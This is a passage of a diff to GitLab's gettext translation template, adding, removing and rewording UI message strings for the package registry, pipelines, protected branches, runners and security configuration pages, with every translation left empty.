msgid "Number of Elasticsearch shards and replicas (per index)"
msgstr ""
@@ -23426,10 +23105,10 @@ msgstr ""
msgid "Package type must be RubyGems"
msgstr ""
-msgid "PackageRegistry|%{boldStart}Allow duplicates%{boldEnd} - Packages with the same name and version are accepted."
+msgid "PackageRegistry|%{boldStart}Allow duplicates%{boldEnd} - Accept packages with the same name and version."
msgstr ""
-msgid "PackageRegistry|%{boldStart}Do not allow duplicates%{boldEnd} - Packages with the same name and version are rejected."
+msgid "PackageRegistry|%{boldStart}Do not allow duplicates%{boldEnd} - Reject packages with the same name and version."
msgstr ""
msgid "PackageRegistry|%{name} version %{version} was first created %{datetime}"
@@ -23507,6 +23186,9 @@ msgstr ""
msgid "PackageRegistry|Copy Pip command"
msgstr ""
+msgid "PackageRegistry|Copy SHA"
+msgstr ""
+
msgid "PackageRegistry|Copy add Gradle Groovy DSL repository command"
msgstr ""
@@ -23537,6 +23219,12 @@ msgstr ""
msgid "PackageRegistry|Created by commit %{link} on branch %{branch}"
msgstr ""
+msgid "PackageRegistry|Debian"
+msgstr ""
+
+msgid "PackageRegistry|Delete Package File"
+msgstr ""
+
msgid "PackageRegistry|Delete Package Version"
msgstr ""
@@ -23561,9 +23249,6 @@ msgstr ""
msgid "PackageRegistry|Generic"
msgstr ""
-msgid "PackageRegistry|GitLab Packages allows organizations to utilize GitLab as a private repository for a variety of common package formats. %{linkStart}More Information%{linkEnd}"
-msgstr ""
-
msgid "PackageRegistry|Gradle Groovy DSL"
msgstr ""
@@ -23615,6 +23300,9 @@ msgstr ""
msgid "PackageRegistry|Package Registry"
msgstr ""
+msgid "PackageRegistry|Package file deleted successfully"
+msgstr ""
+
msgid "PackageRegistry|Package has %{number} archived update"
msgstr ""
@@ -23624,15 +23312,15 @@ msgstr ""
msgid "PackageRegistry|Package updated by commit %{link} on branch %{branch}, built by pipeline %{pipeline}, and published to the registry %{datetime}"
msgstr ""
-msgid "PackageRegistry|Packages can be published if their name or version matches this regex"
-msgstr ""
-
msgid "PackageRegistry|Pip Command"
msgstr ""
msgid "PackageRegistry|Publish and share packages for a variety of common package managers. %{docLinkStart}More information%{docLinkEnd}"
msgstr ""
+msgid "PackageRegistry|Publish packages if their name or version matches this regex."
+msgstr ""
+
msgid "PackageRegistry|Published to the %{project} Package Registry %{datetime}"
msgstr ""
@@ -23678,6 +23366,12 @@ msgstr ""
msgid "PackageRegistry|Show Yarn commands"
msgstr ""
+msgid "PackageRegistry|Something went wrong while deleting the package file."
+msgstr ""
+
+msgid "PackageRegistry|Something went wrong while deleting the package."
+msgstr ""
+
msgid "PackageRegistry|Sorry, your filter produced no results"
msgstr ""
@@ -23708,6 +23402,12 @@ msgstr ""
msgid "PackageRegistry|Unable to load package"
msgstr ""
+msgid "PackageRegistry|Use GitLab as a private registry for common package formats. %{linkStart}Learn more.%{linkEnd}"
+msgstr ""
+
+msgid "PackageRegistry|You are about to delete %{filename}. This is a destructive action that may render your package unusable. Are you sure?"
+msgstr ""
+
msgid "PackageRegistry|You are about to delete %{name}, this operation is irreversible, are you sure?"
msgstr ""
@@ -23900,9 +23600,6 @@ msgstr ""
msgid "Pause Elasticsearch indexing"
msgstr ""
-msgid "Pause replication"
-msgstr ""
-
msgid "Paused"
msgstr ""
@@ -24107,10 +23804,10 @@ msgstr ""
msgid "PipelineCharts|Total:"
msgstr ""
-msgid "PipelineEditorTutorial|A typical GitLab pipeline consists of three stages: build, test and deploy. Each stage can have one or more jobs."
+msgid "PipelineEditorTutorial|Browse %{linkStart}CI/CD examples and templates%{linkEnd}"
msgstr ""
-msgid "PipelineEditorTutorial|Browse %{linkStart}CI/CD examples and templates%{linkEnd}"
+msgid "PipelineEditorTutorial|Commit the file to your repository. The pipeline then runs automatically."
msgstr ""
msgid "PipelineEditorTutorial|Get started with GitLab CI/CD"
@@ -24122,9 +23819,6 @@ msgstr ""
msgid "PipelineEditorTutorial|If you’re using a self-managed GitLab instance, %{linkStart}make sure your instance has runners available.%{linkEnd}"
msgstr ""
-msgid "PipelineEditorTutorial|In the example below, %{codeStart}build%{codeEnd} and %{codeStart}deploy%{codeEnd} each contain one job, and %{codeStart}test%{codeEnd} contains two jobs. Your scripts run in jobs like these."
-msgstr ""
-
msgid "PipelineEditorTutorial|Learn more about %{linkStart}GitLab CI/CD concepts%{linkEnd}"
msgstr ""
@@ -24134,16 +23828,22 @@ msgstr ""
msgid "PipelineEditorTutorial|Resources to help with your CI/CD configuration:"
msgstr ""
+msgid "PipelineEditorTutorial|Select the pipeline ID to view the full details about your first pipeline run."
+msgstr ""
+
msgid "PipelineEditorTutorial|The pipeline stages and jobs are defined in a %{codeStart}.gitlab-ci.yml%{codeEnd} file. You can edit, visualize and validate the syntax in this file by using the Pipeline Editor."
msgstr ""
-msgid "PipelineEditorTutorial|Use the Visualize and Lint tabs in the Pipeline Editor to visualize your pipeline and check for any errors or warnings before committing your changes."
+msgid "PipelineEditorTutorial|The pipeline status is at the top of the page."
msgstr ""
-msgid "PipelineEditorTutorial|View %{linkStart}.gitlab-ci.yml syntax reference%{linkEnd}"
+msgid "PipelineEditorTutorial|This template creates a simple test pipeline. To use it:"
msgstr ""
-msgid "PipelineEditorTutorial|You can use %{linkStart}CI/CD examples and templates%{linkEnd} to get your first %{codeStart}.gitlab-ci.yml%{codeEnd} configuration file started. Your first pipeline runs when you commit the changes."
+msgid "PipelineEditorTutorial|Use the Visualize and Lint tabs in the Pipeline Editor to visualize your pipeline and check for any errors or warnings before committing your changes."
+msgstr ""
+
+msgid "PipelineEditorTutorial|View %{linkStart}.gitlab-ci.yml syntax reference%{linkEnd}"
msgstr ""
msgid "PipelineEditorTutorial|âš™ï¸ Pipeline configuration reference"
@@ -24263,10 +23963,10 @@ msgstr ""
msgid "Pipelines|Editor"
msgstr ""
-msgid "Pipelines|Get familiar with GitLab CI/CD syntax by starting with a simple pipeline that runs a “Hello world†script."
+msgid "Pipelines|Get familiar with GitLab CI/CD syntax by starting with a basic 3 stage CI/CD pipeline."
msgstr ""
-msgid "Pipelines|Get started with CI/CD"
+msgid "Pipelines|Get started with GitLab CI/CD"
msgstr ""
msgid "Pipelines|GitLab CI/CD can automatically build, test, and deploy your code. Let GitLab take care of time consuming tasks, so you can spend more time creating."
@@ -24284,12 +23984,18 @@ msgstr ""
msgid "Pipelines|Improve code quality with GitLab CI/CD"
msgstr ""
+msgid "Pipelines|Install GitLab Runners"
+msgstr ""
+
msgid "Pipelines|It is recommended the code is reviewed thoroughly before running this pipeline with the parent project's CI resource."
msgstr ""
msgid "Pipelines|Last Used"
msgstr ""
+msgid "Pipelines|Learn about Runners"
+msgstr ""
+
msgid "Pipelines|Lint"
msgstr ""
@@ -24401,9 +24107,6 @@ msgstr ""
msgid "Pipelines|parent"
msgstr ""
-msgid "Pipelines|“Hello world†with GitLab CI/CD"
-msgstr ""
-
msgid "Pipeline|Actions"
msgstr ""
@@ -24554,13 +24257,13 @@ msgstr ""
msgid "Pipeline|with stages"
msgstr ""
-msgid "PivotalTrackerService|Add commit messages as comments to PivotalTracker stories."
+msgid "PivotalTrackerService|Add commit messages as comments to Pivotal Tracker stories."
msgstr ""
-msgid "PivotalTrackerService|Comma-separated list of branches which will be automatically inspected. Leave blank to include all branches."
+msgid "PivotalTrackerService|Comma-separated list of branches to automatically inspect. Leave blank to include all branches."
msgstr ""
-msgid "PivotalTrackerService|Pivotal Tracker API token."
+msgid "PivotalTrackerService|Pivotal Tracker API token. User must have access to the story. All comments are attributed to this user."
msgstr ""
msgid "Plain diff"
@@ -24605,10 +24308,10 @@ msgstr ""
msgid "Please check the configuration file to ensure that it is available and the YAML is valid"
msgstr ""
-msgid "Please check your email (%{email}) to verify that you own this address and unlock the power of CI/CD. Didn't receive it? %{resend_link}. Wrong email address? %{update_link}."
+msgid "Please check your email %{email} to confirm your account"
msgstr ""
-msgid "Please check your email to confirm your account"
+msgid "Please check your email (%{email}) to verify that you own this address and unlock the power of CI/CD. Didn't receive it? %{resend_link}. Wrong email address? %{update_link}."
msgstr ""
msgid "Please choose a file"
@@ -24620,6 +24323,12 @@ msgstr ""
msgid "Please complete your profile with email address"
msgstr ""
+msgid "Please confirm your email address"
+msgstr ""
+
+msgid "Please contact an admin to register runners."
+msgstr ""
+
msgid "Please contact your GitLab administrator if you think this is an error."
msgstr ""
@@ -25232,6 +24941,9 @@ msgstr ""
msgid "Profiles|Enter your name, so people you know can recognize you"
msgstr ""
+msgid "Profiles|Enter your pronouns to let people know how to refer to you"
+msgstr ""
+
msgid "Profiles|Expired key is not valid."
msgstr ""
@@ -25517,9 +25229,6 @@ msgstr ""
msgid "Project Access Tokens"
msgstr ""
-msgid "Project Audit Events"
-msgstr ""
-
msgid "Project Badges"
msgstr ""
@@ -25547,6 +25256,9 @@ msgstr ""
msgid "Project and wiki repositories"
msgstr ""
+msgid "Project audit events"
+msgstr ""
+
msgid "Project avatar"
msgstr ""
@@ -25559,9 +25271,6 @@ msgstr ""
msgid "Project description (optional)"
msgstr ""
-msgid "Project details"
-msgstr ""
-
msgid "Project does not exist or you don't have permission to perform this action"
msgstr ""
@@ -25610,15 +25319,9 @@ msgstr ""
msgid "Project order will not be saved as local storage is not available."
msgstr ""
-msgid "Project overview"
-msgstr ""
-
msgid "Project path"
msgstr ""
-msgid "Project scanning help page"
-msgstr ""
-
msgid "Project security status"
msgstr ""
@@ -25667,9 +25370,6 @@ msgstr ""
msgid "ProjectLastActivity|Never"
msgstr ""
-msgid "ProjectLifecycle|Stage"
-msgstr ""
-
msgid "ProjectOverview|Fork"
msgstr ""
@@ -26285,9 +25985,6 @@ msgstr ""
msgid "ProjectsNew|Create blank project"
msgstr ""
-msgid "ProjectsNew|Create blank project/repository"
-msgstr ""
-
msgid "ProjectsNew|Create from template"
msgstr ""
@@ -26303,9 +26000,6 @@ msgstr ""
msgid "ProjectsNew|Import project"
msgstr ""
-msgid "ProjectsNew|Import project/repository"
-msgstr ""
-
msgid "ProjectsNew|Initialize repository with a README"
msgstr ""
@@ -26390,21 +26084,18 @@ msgstr ""
msgid "PrometheusService|Active"
msgstr ""
-msgid "PrometheusService|Auto configuration"
-msgstr ""
-
msgid "PrometheusService|Auto configuration settings are used unless you override their values here."
msgstr ""
-msgid "PrometheusService|Automatically deploy and configure Prometheus on your clusters to monitor your project’s environments."
-msgstr ""
-
msgid "PrometheusService|Common metrics"
msgstr ""
msgid "PrometheusService|Common metrics are automatically monitored based on a library of metrics from popular exporters."
msgstr ""
+msgid "PrometheusService|Configure GitLab to query a Prometheus installed in one of your clusters."
+msgstr ""
+
msgid "PrometheusService|Custom metrics"
msgstr ""
@@ -26420,18 +26111,9 @@ msgstr ""
msgid "PrometheusService|Finding custom metrics..."
msgstr ""
-msgid "PrometheusService|GitLab is managing Prometheus on your clusters."
-msgstr ""
-
-msgid "PrometheusService|GitLab manages Prometheus on your clusters."
-msgstr ""
-
msgid "PrometheusService|IAP_CLIENT_ID.apps.googleusercontent.com"
msgstr ""
-msgid "PrometheusService|Install Prometheus on clusters"
-msgstr ""
-
msgid "PrometheusService|Manage clusters"
msgstr ""
@@ -26447,9 +26129,6 @@ msgstr ""
msgid "PrometheusService|Monitor application health with Prometheus metrics and dashboards"
msgstr ""
-msgid "PrometheusService|Monitor your project’s environments by deploying and configuring Prometheus on your clusters."
-msgstr ""
-
msgid "PrometheusService|More information"
msgstr ""
@@ -26462,6 +26141,9 @@ msgstr ""
msgid "PrometheusService|No custom metrics have been created. Create one using the button above"
msgstr ""
+msgid "PrometheusService|Prometheus cluster integration"
+msgstr ""
+
msgid "PrometheusService|PrometheusService|The ID of the IAP-secured resource."
msgstr ""
@@ -26477,7 +26159,7 @@ msgstr ""
msgid "PrometheusService|These metrics will only be monitored after your first deployment to an environment"
msgstr ""
-msgid "PrometheusService|To enable the installation of Prometheus on your clusters, deactivate the manual configuration."
+msgid "PrometheusService|To use a Prometheus installed on a cluster, deactivate the manual configuration."
msgstr ""
msgid "PrometheusService|Waiting for your first deployment to an environment to find common metrics"
@@ -26486,6 +26168,9 @@ msgstr ""
msgid "PrometheusService|You can now manage your Prometheus settings on the %{operations_link_start}Operations%{operations_link_end} page. Fields on this page has been deprecated."
msgstr ""
+msgid "PrometheusService|You have a cluster with the Prometheus integration enabled."
+msgstr ""
+
msgid "PrometheusService|https://prometheus.example.com/"
msgstr ""
@@ -26495,9 +26180,6 @@ msgstr ""
msgid "Promote"
msgstr ""
-msgid "Promote confidential issue to a non-confidential epic"
-msgstr ""
-
msgid "Promote issue to an epic"
msgstr ""
@@ -26516,9 +26198,6 @@ msgstr ""
msgid "PromoteMilestone|Promotion failed - %{message}"
msgstr ""
-msgid "Promoted confidential issue to a non-confidential epic. Information in this issue is no longer confidential as epics are public to group members."
-msgstr ""
-
msgid "Promoted issue to an epic."
msgstr ""
@@ -26642,13 +26321,16 @@ msgstr ""
msgid "ProtectedBranch|%{wildcards_link_start}Wildcards%{wildcards_link_end} such as %{code_tag_start}*-stable%{code_tag_end} or %{code_tag_start}production/*%{code_tag_end} are supported."
msgstr ""
-msgid "ProtectedBranch|Allow force push"
+msgid "ProtectedBranch|Allow all users with push access to %{tag_start}force push%{tag_end}."
msgstr ""
-msgid "ProtectedBranch|Allow force push for all users with push access."
+msgid "ProtectedBranch|Allow all users with push access to force push."
msgstr ""
-msgid "ProtectedBranch|Allow force push:"
+msgid "ProtectedBranch|Allowed to force push"
+msgstr ""
+
+msgid "ProtectedBranch|Allowed to force push:"
msgstr ""
msgid "ProtectedBranch|Allowed to merge"
@@ -26669,12 +26351,21 @@ msgstr ""
msgid "ProtectedBranch|Branch:"
msgstr ""
+msgid "ProtectedBranch|By default, protected branches restrict who can modify the branch."
+msgstr ""
+
msgid "ProtectedBranch|Code owner approval"
msgstr ""
msgid "ProtectedBranch|Does not apply to users allowed to push. Optional sections are not enforced."
msgstr ""
+msgid "ProtectedBranch|Keep stable branches secure and force developers to use merge requests."
+msgstr ""
+
+msgid "ProtectedBranch|Learn more."
+msgstr ""
+
msgid "ProtectedBranch|Protect"
msgstr ""
@@ -26684,6 +26375,9 @@ msgstr ""
msgid "ProtectedBranch|Protected branch (%{protected_branches_count})"
msgstr ""
+msgid "ProtectedBranch|Protected branches"
+msgstr ""
+
msgid "ProtectedBranch|Reject code pushes that change files listed in the CODEOWNERS file."
msgstr ""
@@ -26693,12 +26387,15 @@ msgstr ""
msgid "ProtectedBranch|There are currently no protected branches, protect a branch with the form above."
msgstr ""
-msgid "ProtectedBranch|Toggle allow force push"
+msgid "ProtectedBranch|Toggle allowed to force push"
msgstr ""
msgid "ProtectedBranch|Toggle code owner approval"
msgstr ""
+msgid "ProtectedBranch|What are protected branches?"
+msgstr ""
+
msgid "ProtectedEnvironment|%{environment_name} will be writable for developers. Are you sure?"
msgstr ""
@@ -26744,18 +26441,30 @@ msgstr ""
msgid "ProtectedEnvironment|Your environment has been unprotected"
msgstr ""
-msgid "Protip: %{linkStart}Auto DevOps%{linkEnd} uses Kubernetes clusters to deploy your code!"
+msgid "ProtectedTag|By default, protected branches restrict who can modify the tag."
+msgstr ""
+
+msgid "ProtectedTag|Learn more."
msgstr ""
-msgid "Protocol"
+msgid "ProtectedTag|Limit access to creating and updating tags."
msgstr ""
-msgid "Provide feedback"
+msgid "ProtectedTag|Protected tags"
+msgstr ""
+
+msgid "ProtectedTag|What are protected tags?"
+msgstr ""
+
+msgid "Protip: %{linkStart}Auto DevOps%{linkEnd} uses Kubernetes clusters to deploy your code!"
msgstr ""
msgid "Provider"
msgstr ""
+msgid "Provision instructions"
+msgstr ""
+
msgid "Provisioned by:"
msgstr ""
@@ -27160,6 +26869,9 @@ msgstr ""
msgid "Register with two-factor app"
msgstr ""
+msgid "Registration Features include:"
+msgstr ""
+
msgid "Registration|Checkout"
msgstr ""
@@ -27187,6 +26899,9 @@ msgstr ""
msgid "Related Issues"
msgstr ""
+msgid "Related feature flags"
+msgstr ""
+
msgid "Related issues"
msgstr ""
@@ -27366,6 +27081,9 @@ msgstr ""
msgid "Remove limit"
msgstr ""
+msgid "Remove link"
+msgstr ""
+
msgid "Remove list"
msgstr ""
@@ -27381,15 +27099,9 @@ msgstr ""
msgid "Remove milestone"
msgstr ""
-msgid "Remove node"
-msgstr ""
-
msgid "Remove parent epic from an epic"
msgstr ""
-msgid "Remove primary node"
-msgstr ""
-
msgid "Remove priority"
msgstr ""
@@ -27405,9 +27117,6 @@ msgstr ""
msgid "Remove secondary email"
msgstr ""
-msgid "Remove secondary node"
-msgstr ""
-
msgid "Remove spent time"
msgstr ""
@@ -27555,15 +27264,18 @@ msgstr ""
msgid "Reopens this %{quick_action_target}."
msgstr ""
-msgid "Repair authentication"
+msgid "Replace"
msgstr ""
-msgid "Replace"
+msgid "Replace %{name}"
msgstr ""
msgid "Replace all label(s)"
msgstr ""
+msgid "Replace file"
+msgstr ""
+
msgid "Replaced all labels with %{label_references} %{label_text}."
msgstr ""
@@ -27573,15 +27285,6 @@ msgstr ""
msgid "Replication"
msgstr ""
-msgid "Replication details"
-msgstr ""
-
-msgid "Replication enabled"
-msgstr ""
-
-msgid "Replication paused"
-msgstr ""
-
msgid "Reply by email"
msgstr ""
@@ -27981,6 +27684,9 @@ msgstr[1] ""
msgid "Requires values to meet regular expression requirements."
msgstr ""
+msgid "Requires your primary GitLab email address."
+msgstr ""
+
msgid "Resend"
msgstr ""
@@ -28131,12 +27837,6 @@ msgstr ""
msgid "Resync"
msgstr ""
-msgid "Resync all"
-msgstr ""
-
-msgid "Resync all %{replicableType}"
-msgstr ""
-
msgid "Retry"
msgstr ""
@@ -28152,9 +27852,6 @@ msgstr ""
msgid "Retry this job in order to create the necessary resources."
msgstr ""
-msgid "Retry update"
-msgstr ""
-
msgid "Retry verification"
msgstr ""
@@ -28249,6 +27946,9 @@ msgstr ""
msgid "RightSidebar|deleting the"
msgstr ""
+msgid "Rnners|Don't see what you are looking for? See the full list of options, including a fully customizable option, %{linkStart}here%{linkEnd}."
+msgstr ""
+
msgid "Roadmap"
msgstr ""
@@ -28258,9 +27958,6 @@ msgstr ""
msgid "Rollback"
msgstr ""
-msgid "Rook"
-msgstr ""
-
msgid "Ruby"
msgstr ""
@@ -28327,12 +28024,21 @@ msgstr ""
msgid "Runners|Active"
msgstr ""
+msgid "Runners|Amazon Linux 2 Docker HA with manual scaling and optional scheduling. %{percentage} spot."
+msgstr ""
+
+msgid "Runners|Amazon Linux 2 Docker HA with manual scaling and optional scheduling. Non-spot. Default choice for Linux Docker executor."
+msgstr ""
+
msgid "Runners|An error has occurred fetching instructions"
msgstr ""
msgid "Runners|Architecture"
msgstr ""
+msgid "Runners|Are you sure you want to delete this runner?"
+msgstr ""
+
msgid "Runners|Can run untagged jobs"
msgstr ""
@@ -28342,6 +28048,9 @@ msgstr ""
msgid "Runners|Copy instructions"
msgstr ""
+msgid "Runners|Deploy GitLab Runner in AWS"
+msgstr ""
+
msgid "Runners|Description"
msgstr ""
@@ -28351,9 +28060,18 @@ msgstr ""
msgid "Runners|Download latest binary"
msgstr ""
+msgid "Runners|Enter the number of seconds. This timeout takes precedence over lower timeouts set for the project."
+msgstr ""
+
+msgid "Runners|For each solution, you will choose a capacity. 1 enables warm HA through Auto Scaling group re-spawn. 2 enables hot HA because the service is available even when a node is lost. 3 or more enables hot HA and manual scaling of runner fleet."
+msgstr ""
+
msgid "Runners|IP Address"
msgstr ""
+msgid "Runners|If you do not select an AWS VPC, the runner will deploy to the Default VPC in the AWS Region you select. Please consult with your AWS administrator to understand if there are any security risks to deploying into the Default VPC in any given region in your AWS account."
+msgstr ""
+
msgid "Runners|Install a runner"
msgstr ""
@@ -28366,9 +28084,15 @@ msgstr ""
msgid "Runners|Maximum job timeout"
msgstr ""
+msgid "Runners|Members of the %{type} can register runners"
+msgstr ""
+
msgid "Runners|Name"
msgstr ""
+msgid "Runners|New registration token generated!"
+msgstr ""
+
msgid "Runners|New runner, has not connected yet"
msgstr ""
@@ -28411,12 +28135,18 @@ msgstr ""
msgid "Runners|Runner is paused, last contact was %{runner_contact} ago"
msgstr ""
+msgid "Runners|Runner registration"
+msgstr ""
+
msgid "Runners|Shared runners are available to every project in a GitLab instance. If you want a runner to build only specific projects, restrict the project in the table below. After you restrict a runner to a project, you cannot change it back to a shared runner."
msgstr ""
msgid "Runners|Show Runner installation instructions"
msgstr ""
+msgid "Runners|Something went wrong while fetching the tags suggestions"
+msgstr ""
+
msgid "Runners|Tags"
msgstr ""
@@ -28447,6 +28177,12 @@ msgstr ""
msgid "Runners|View installation instructions"
msgstr ""
+msgid "Runners|Windows 2019 Shell with manual scaling and optional scheduling. %{percentage} spot."
+msgstr ""
+
+msgid "Runners|Windows 2019 Shell with manual scaling and optional scheduling. Non-spot. Default choice for Windows Shell executor."
+msgstr ""
+
msgid "Runners|You can set up a specific runner to be used by multiple projects but you cannot make this a shared runner."
msgstr ""
@@ -28525,6 +28261,12 @@ msgstr ""
msgid "SSH keys allow you to establish a secure connection between your computer and GitLab."
msgstr ""
+msgid "SSH keys with the following fingerprints are scheduled to expire soon. Expired SSH keys can not be used:"
+msgstr ""
+
+msgid "SSH keys with the following fingerprints have expired and can no longer be used:"
+msgstr ""
+
msgid "SSH public key"
msgstr ""
@@ -28576,10 +28318,7 @@ msgstr ""
msgid "Save pipeline schedule"
msgstr ""
-msgid "Save space and find images in the Container Registry. Remove unneeded tags and keep only the ones you want."
-msgstr ""
-
-msgid "Saved scan settings and target site settings which are reusable."
+msgid "Save space and find images in the container Registry. remove unneeded tags and keep only the ones you want. %{linkStart}How does cleanup work?%{linkEnd}"
msgstr ""
msgid "Saving"
@@ -28612,6 +28351,9 @@ msgstr ""
msgid "Scheduled a rebase of branch %{branch}."
msgstr ""
+msgid "Scheduled pipelines cannot run more frequently than once per %{limit} minutes. A pipeline configured to run more frequently only starts after %{limit} minutes have elapsed since the last time it ran."
+msgstr ""
+
msgid "Scheduled to merge this merge request (%{strategy})."
msgstr ""
@@ -28663,6 +28405,9 @@ msgstr ""
msgid "Search"
msgstr ""
+msgid "Search GitLab"
+msgstr ""
+
msgid "Search Jira issues"
msgstr ""
@@ -28747,9 +28492,6 @@ msgstr ""
msgid "Search or filter results…"
msgstr ""
-msgid "Search or jump to…"
-msgstr ""
-
msgid "Search project"
msgstr ""
@@ -28880,12 +28622,6 @@ msgstr[1] ""
msgid "Searching by both author and message is currently not supported."
msgstr ""
-msgid "Seat Link"
-msgstr ""
-
-msgid "Seat Link is disabled, and cannot be configured through this form."
-msgstr ""
-
msgid "SeatUsage|Seat usage"
msgstr ""
@@ -28952,6 +28688,9 @@ msgstr ""
msgid "SecurityConfiguration|%{featureName} merge request creation mutation failed"
msgstr ""
+msgid "SecurityConfiguration|%{scanType} configuration code snippet"
+msgstr ""
+
msgid "SecurityConfiguration|An error occurred while creating the merge request."
msgstr ""
@@ -28973,6 +28712,9 @@ msgstr ""
msgid "SecurityConfiguration|Configuration guide"
msgstr ""
+msgid "SecurityConfiguration|Configuration history"
+msgstr ""
+
msgid "SecurityConfiguration|Configure"
msgstr ""
@@ -28982,6 +28724,12 @@ msgstr ""
msgid "SecurityConfiguration|Configure via Merge Request"
msgstr ""
+msgid "SecurityConfiguration|Copy code and open .gitlab-ci.yml file"
+msgstr ""
+
+msgid "SecurityConfiguration|Copy code only"
+msgstr ""
+
msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
msgstr ""
@@ -29006,9 +28754,18 @@ msgstr ""
msgid "SecurityConfiguration|Feature documentation for %{featureName}"
msgstr ""
+msgid "SecurityConfiguration|GitLab Ultimate checks your application for security vulnerabilities that may lead to unauthorized access, data leaks, and denial of service attacks. Its features include:"
+msgstr ""
+
+msgid "SecurityConfiguration|High-level vulnerability statistics across projects and groups."
+msgstr ""
+
msgid "SecurityConfiguration|Manage"
msgstr ""
+msgid "SecurityConfiguration|Manage profiles for use by DAST scans."
+msgstr ""
+
msgid "SecurityConfiguration|Manage scans"
msgstr ""
@@ -29018,12 +28775,21 @@ msgstr ""
msgid "SecurityConfiguration|Not enabled"
msgstr ""
+msgid "SecurityConfiguration|Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
+msgstr ""
+
+msgid "SecurityConfiguration|Runtime security metrics for application environments."
+msgstr ""
+
msgid "SecurityConfiguration|SAST Analyzers"
msgstr ""
msgid "SecurityConfiguration|SAST Configuration"
msgstr ""
+msgid "SecurityConfiguration|Secure your project with Ultimate"
+msgstr ""
+
msgid "SecurityConfiguration|Security Control"
msgstr ""
@@ -29036,7 +28802,10 @@ msgstr ""
msgid "SecurityConfiguration|Testing & Compliance"
msgstr ""
-msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
+msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}."
+msgstr ""
+
+msgid "SecurityConfiguration|Upgrade or start a free trial"
msgstr ""
msgid "SecurityConfiguration|Using custom settings. You won't receive automatic updates on this variable. %{anchorStart}Restore to default%{anchorEnd}"
@@ -29045,6 +28814,12 @@ msgstr ""
msgid "SecurityConfiguration|View history"
msgstr ""
+msgid "SecurityConfiguration|Vulnerability details and statistics in the merge request."
+msgstr ""
+
+msgid "SecurityConfiguration|With the information provided, you can immediately begin risk analysis and remediation within GitLab."
+msgstr ""
+
msgid "SecurityConfiguration|You can quickly enable all security scanning tools by enabling %{linkStart}Auto DevOps%{linkEnd}."
msgstr ""
@@ -29057,6 +28832,27 @@ msgstr ""
msgid "SecurityOrchestration|Security policy project"
msgstr ""
+msgid "SecurityPolicies|Description"
+msgstr ""
+
+msgid "SecurityPolicies|Enforcement status"
+msgstr ""
+
+msgid "SecurityPolicies|Latest scan"
+msgstr ""
+
+msgid "SecurityPolicies|Network"
+msgstr ""
+
+msgid "SecurityPolicies|Policy type"
+msgstr ""
+
+msgid "SecurityPolicies|Scan execution"
+msgstr ""
+
+msgid "SecurityPolicies|view results"
+msgstr ""
+
msgid "SecurityReports|%{firstProject} and %{secondProject}"
msgstr ""
@@ -29069,7 +28865,7 @@ msgstr ""
msgid "SecurityReports|Add projects"
msgstr ""
-msgid "SecurityReports|All"
+msgid "SecurityReports|All activity"
msgstr ""
msgid "SecurityReports|Although it's rare to have no vulnerabilities, it can happen. Check your settings to make sure you've set up your dashboard correctly."
@@ -29132,6 +28928,9 @@ msgstr ""
msgid "SecurityReports|Error fetching the vulnerability list. Please check your network connection and try again."
msgstr ""
+msgid "SecurityReports|Error parsing security reports"
+msgstr ""
+
msgid "SecurityReports|Failed to get security report information. Please reload the page or try again later."
msgstr ""
@@ -29237,6 +29036,9 @@ msgstr ""
msgid "SecurityReports|Take survey"
msgstr ""
+msgid "SecurityReports|The security reports below contain one or more vulnerability findings that could not be parsed and were not recorded. Download the artifacts in the job output to investigate. Ensure any security report created conforms to the relevant %{helpPageLinkStart}JSON schema%{helpPageLinkEnd}."
+msgstr ""
+
msgid "SecurityReports|There was an error adding the comment."
msgstr ""
@@ -29339,9 +29141,6 @@ msgstr ""
msgid "Select Page"
msgstr ""
-msgid "Select Stack"
-msgstr ""
-
msgid "Select a branch"
msgstr ""
@@ -29372,9 +29171,15 @@ msgstr ""
msgid "Select a repository"
msgstr ""
+msgid "Select a role"
+msgstr ""
+
msgid "Select a shared template repository for all projects on this instance."
msgstr ""
+msgid "Select a subgroup to use as a template when creating new projects in the group."
+msgstr ""
+
msgid "Select a template repository"
msgstr ""
@@ -29477,9 +29282,6 @@ msgstr ""
msgid "Select target branch"
msgstr ""
-msgid "Select the custom project template source group."
-msgstr ""
-
msgid "Select timezone"
msgstr ""
@@ -29573,7 +29375,7 @@ msgstr ""
msgid "Send report"
msgstr ""
-msgid "Send usage data"
+msgid "Send service data"
msgstr ""
msgid "Sentry API URL"
@@ -29612,10 +29414,10 @@ msgstr ""
msgid "Serverless platform"
msgstr ""
-msgid "ServerlessDetails|Function invocation metrics require Prometheus to be installed first."
+msgid "ServerlessDetails|Configure cluster."
msgstr ""
-msgid "ServerlessDetails|Install Prometheus"
+msgid "ServerlessDetails|Function invocation metrics require the Prometheus cluster integration."
msgstr ""
msgid "ServerlessDetails|Invocation metrics loading or not available at this time."
@@ -29657,9 +29459,6 @@ msgstr ""
msgid "Serverless|In order to start using functions as a service, you must first install Knative on your Kubernetes cluster. %{linkStart}More information%{linkEnd}"
msgstr ""
-msgid "Serverless|Install Knative"
-msgstr ""
-
msgid "Serverless|Learn more about Serverless"
msgstr ""
@@ -29702,6 +29501,9 @@ msgstr ""
msgid "Service URL"
msgstr ""
+msgid "Service ping is disabled, and cannot be configured through this form."
+msgstr ""
+
msgid "ServiceDesk|Enable Service Desk"
msgstr ""
@@ -29792,6 +29594,9 @@ msgstr ""
msgid "Set requirements for a user to sign-in. Enable mandatory two-factor authentication."
msgstr ""
+msgid "Set size limits for displaying diffs in the browser."
+msgstr ""
+
msgid "Set target branch"
msgstr ""
@@ -29972,9 +29777,6 @@ msgstr ""
msgid "SeverityWidget|There was an error while updating severity."
msgstr ""
-msgid "Shards (%{shards})"
-msgstr ""
-
msgid "Shards to synchronize"
msgstr ""
@@ -29999,6 +29801,9 @@ msgstr ""
msgid "Shared runners are disabled on group level"
msgstr ""
+msgid "Shared runners details"
+msgstr ""
+
msgid "Shared runners help link"
msgstr ""
@@ -30023,9 +29828,6 @@ msgstr ""
msgid "Show all issues."
msgstr ""
-msgid "Show all members"
-msgstr ""
-
msgid "Show all test cases."
msgstr ""
@@ -30053,9 +29855,6 @@ msgstr ""
msgid "Show complete raw log"
msgstr ""
-msgid "Show dependencies"
-msgstr ""
-
msgid "Show details"
